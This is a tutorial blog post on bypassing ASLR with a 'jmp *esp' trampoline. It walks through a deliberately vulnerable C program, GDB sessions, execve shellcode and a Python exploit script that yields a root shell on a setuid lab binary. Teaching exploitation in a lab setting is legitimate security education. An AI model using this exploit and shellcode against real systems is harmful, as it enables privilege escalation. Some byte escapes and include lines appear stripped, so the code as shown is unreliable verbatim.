So this is the second post in the series of vulnerability development posts I plan to make. Today we are going to focus on a simple technique used to bypass Address Space Layout Randomization (ASLR). All examples of code have been compiled on a machine with the following specifications:
dusty@devbox:~/Code/ASLR$ lsb_release -a; uname -ar; gcc --version; gdb --version Distributor ID: Ubuntu Description: Ubuntu 10.10 Release: 10.10 Codename: maverick Linux devbox 2.6.35-28-generic-pae #49-Ubuntu SMP Tue Mar 1 14:58:06 UTC 2011 i686 GNU/Linux gcc (Ubuntu/Linaro 4.4.4-14ubuntu5) 4.4.5 GNU gdb (GDB) 7.2-ubuntu dusty@devbox:~/Code/ASLR$
Let’s take a look and make sure that ASLR is infact being utilized:
dusty@devbox:~/Code/ASLR$ cat /proc/sys/kernel/randomize_va_space 2 dusty@devbox:~/Code/ASLR$ ldd ./vuln linux-gate.so.1 => (0xb78d3000) libc.so.6 => /lib/libc.so.6 (0xb7764000) /lib/ld-linux.so.2 (0xb78d4000) dusty@devbox:~/Code/ASLR$ ldd ./vuln linux-gate.so.1 => (0xb78ab000) libc.so.6 => /lib/libc.so.6 (0xb773c000) /lib/ld-linux.so.2 (0xb78ac000) dusty@devbox:~/Code/ASLR$ ldd ./vuln linux-gate.so.1 => (0xb7781000) libc.so.6 => /lib/libc.so.6 (0xb7612000) /lib/ld-linux.so.2 (0xb7782000) dusty@devbox:~/Code/ASLR$
As you can see from the above ASLR is indeed being utilized. Let’s take a look at some code:
dusty@devbox:~/Code/ASLR$ cat vuln.c #include #include // hard coded jmp *esp function ;-) void jmpesp() { __asm__("jmp *%esp"); } int main(int argc, char *argv[]) { char buffer[100]; strcpy(buffer, argv[1]); printf("buffer: [%s].n", buffer); return 0; } dusty@devbox:~/Code/ASLR$ gcc vuln.c -o vuln -ggdb -fno-stack-protector -z execstack dusty@devbox:~/Code/ASLR$
This is a simple and contrived example yet again, but it serves its purpose. In larger programs you will generally find instructions like jmp *esp which we can utilize to bypass ASLR. I have placed the jmpesp() function there so that I can show you how to utilize it when exploiting this bug, as we wouldn’t normally find it in such a small binary.
It is a classic buffer overflow, argv[1] is copied to ‘buffer’ without bounds checking. We overwrite past the end of ‘buffer’ in turn overwriting the saved return address of main() so that when main() returns we control execution. We will make it return to our jmp *esp and have the esp register contain our shellcode. Let’s take a look at this in action:
dusty@devbox:~/Code/ASLR$ objdump -d ./vuln | grep 'ff e4' 80483f7: ff e4 jmp *%esp dusty@devbox:~/Code/ASLR$ gdb -q ./vuln Reading symbols from /home/dusty/Code/ASLR/vuln...done. (gdb) set disassembly-flavor intel (gdb) disass main Dump of assembler code for function main: 0x080483fb : push ebp 0x080483fc : mov ebp,esp 0x080483fe : and esp,0xfffffff0 0x08048401 : add esp,0xffffff80 0x08048404 : mov eax,DWORD PTR [ebp+0xc] 0x08048407 : add eax,0x4 0x0804840a : mov eax,DWORD PTR [eax] 0x0804840c : mov DWORD PTR [esp+0x4],eax 0x08048410 : lea eax,[esp+0x1c] 0x08048414 : mov DWORD PTR [esp],eax 0x08048417 : call 0x8048314 0x0804841c : mov eax,0x8048500 0x08048421 : lea edx,[esp+0x1c] 0x08048425 : mov DWORD PTR [esp+0x4],edx 0x08048429 : mov DWORD PTR [esp],eax 0x0804842c : call 0x8048324 0x08048431 : mov eax,0x0 0x08048436 : leave 0x08048437 : ret End of assembler dump. (gdb) b *0x08048437 Breakpoint 1 at 0x8048437: file vuln.c, line 15. (gdb) # I set a break point on the ret instruction. (gdb) (gdb) run $(perl -e 'print "A" x 112 . "xf7x83x04x08" . "B" x 36') Starting program: /home/dusty/Code/ASLR/vuln $(perl -e 'print "A" x 112 . "xf7x83x04x08" . "B" x 36') buffer: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB]. Breakpoint 1, 0x08048437 in main (argc=Cannot access memory at address 0x41414149 ) at vuln.c:15 15 } (gdb) x/i 0x08048437 => 0x8048437 : ret (gdb) # OK so we are at our breakpoint, we have overwritten past 'buffer' and overwritten the return address of main, lets see what happens... (gdb) (gdb) ni Cannot access memory at address 0x41414145 (gdb) i r esp eip esp 0xbffff460 0xbffff460 eip 0x80483f7 0x80483f7 (gdb) x/x 0xbffff460 0xbffff460: 0x42424242 (gdb) # Excellent, as you can see EIP contains the address of our jmpesp. ESP points to our string of B's which is where we will place our shellcode :-) (gdb)
OK, first of all we used objdump to get the address of our ‘jmp *esp’. Then I loaded up GDB and set a break point on main()’s return. I then gave the program a payload with place holders:
run $(perl -e 'print "A" x 112 . "xf7x83x04x08" . "B" x 36')
I fill the buffer with 112 A’s (junk basically) and then I pass the address of our ‘jmp *esp’ in little endian format which overwrites the return address and this is where execution jumps to. At that location we know ‘jmp *esp’ resides and the processor then jumps to the esp register and execute what resides there. We step over the instruction in GDB using ‘ni’ and look at the esp register which contains our string of B’s (0x42424242). Let’s try this again with shellcode and see what happens, lets change the user to a normal user and change the binary to setuid ?
dusty@devbox:~/Code/ASLR$ ./vuln $(perl -e 'print "A" x 112 . "xf7x83x04x08" . "xebx18x5ex31xc0x88x46x07x89x76x08x89x46x0cxb0x0bx8dx1ex8dx4ex08x8dx56x0cxcdx80xe8xe3xffxffxffx2fx62x69x6ex2fx73x68"') buffer: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAë▒^1ÀFF ° V Íèãÿÿÿ/bin/sh]. # id uid=1000(dusty) gid=1000(dusty) euid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(dusty) # whoami root #
I replaced the B’s with shellcode, and it gave us a root shell ?
This simple ‘jmp *esp’ trick allows us to bypass the restrictions of exploiting buffer overflows when ASLR is enabled.
Here is a simple Python script I wrote that exploits the vulnerability:
dusty@devbox:~/Code/ASLR$ cat exploit.py #!/usr/bin/env python import struct import subprocess print "[*] Exploiting..." junk = "x41" * 112 jmpesp = struct.pack("<I", 0x080483f7); shellcode = "xebx18x5ex31xc0x88x46x07" "x89x76x08x89x46x0cxb0x0b" "x8dx1ex8dx4ex08x8dx56x0c" "xcdx80xe8xe3xffxffxffx2f" "x62x69x6ex2fx73x68" payload = junk + jmpesp + shellcode subprocess.call(["./vuln", payload]) dusty@devbox:~/Code/ASLR$ python exploit.py [*] Exploiting... buffer: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAë▒^1ÀFF ° V Íèãÿÿÿ/bin/sh]. # whoami;id root uid=1000(dusty) gid=1000(dusty) euid=0(root) egid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(dusty) #
Izik wrote a very interesting paper on other tricks such as ret2ret, ret2pop, ret2eax, etc.. which can be used to bypass ASLR, it is worth a read and you can find it here:
Smack The Stack – Advanced Buffer Overflow Methods
If you have any questions, comments or even feedback regarding the topic discussed please leave a comment!
The next post will discuss how to bypass the non-executable stack (NX).